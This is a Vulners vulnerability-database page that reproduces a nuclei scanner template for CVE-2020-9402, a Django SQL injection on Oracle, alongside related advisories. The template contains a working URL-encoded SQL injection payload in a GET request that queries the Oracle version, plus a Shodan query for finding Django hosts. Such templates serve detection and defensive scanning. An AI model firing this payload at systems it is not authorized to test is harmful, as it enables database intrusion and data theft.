Lucene search
+L

Django SQL Injection

🗓️ 26 Jul 2021 17:18:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 52 Views

Django SQL Injection CVE-2020-9402 - Allows SQL injection in Django GIS functions on Oracle. Could lead to unauthorized access and data manipulation. Upgrade to latest version

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
Django -- potential SQL injection vulnerability
25 Feb 202000:00
–freebsd
attackerkb
attackerkb
CVE-2020-9402
5 Mar 202015:15
–attackerkb
alpinelinux
AlpineLinux
CVE-2020-9402
5 Mar 202014:49
–alpinelinux
archlinux
ArchLinux
[ASA-202003-5] python-django: sql injection
8 Mar 202000:00
–archlinux
bdu_fstec
BDU FSTEC
Django Code Execution
18 Dec 202000:00
–bdu_fstec
altlinux
ALT Linux
Security fix for the ALT Linux 10 package python3-module-django version 2.2.12-alt1
12 Apr 202000:00
–altlinux
altlinux
ALT Linux
Security fix for the ALT Linux 9 package python3-module-django version 2.2.12-alt1
12 Apr 202000:00
–altlinux
circl
Circl
CVE-2020-9402
23 Dec 202500:53
–circl
cve
CVE
CVE-2020-9402
5 Mar 202014:49
–cve
cvelist
Cvelist
CVE-2020-9402
5 Mar 202014:49
–cvelist
Rows per page
id: CVE-2020-9402

info:
  name: Django SQL Injection
  author: geeknik
  severity: high
  description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Upgrade to the latest version.
  reference:
    - https://www.debian.org/security/2020/dsa-4705
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
    - https://docs.djangoproject.com/en/3.0/releases/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9402
    - https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
    epss-score: 0.81181
    epss-percentile: 0.99123
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve,cve2020,django,sqli,vulhub,djangoproject,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"

    matchers:
      - type: word
        words:
          - "DatabaseError at"
          - "ORA-29257:"
          - "ORA-06512:"
          - "Request Method:"
        condition: and
# digest: 4a0a00473045022063615fb0408ea1b7203df2be7044fa28dbecc2320646483c10180df20f160382022100a780b953951c8a228378d11c7cdf86b73fa88ecfc1b402b8bb43c3f50a6fe470:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Dec 2025 03:02Current
7.8High risk
Vulners AI Score7.8
CVSS 26.5
CVSS 3.18.8
EPSS0.22513
52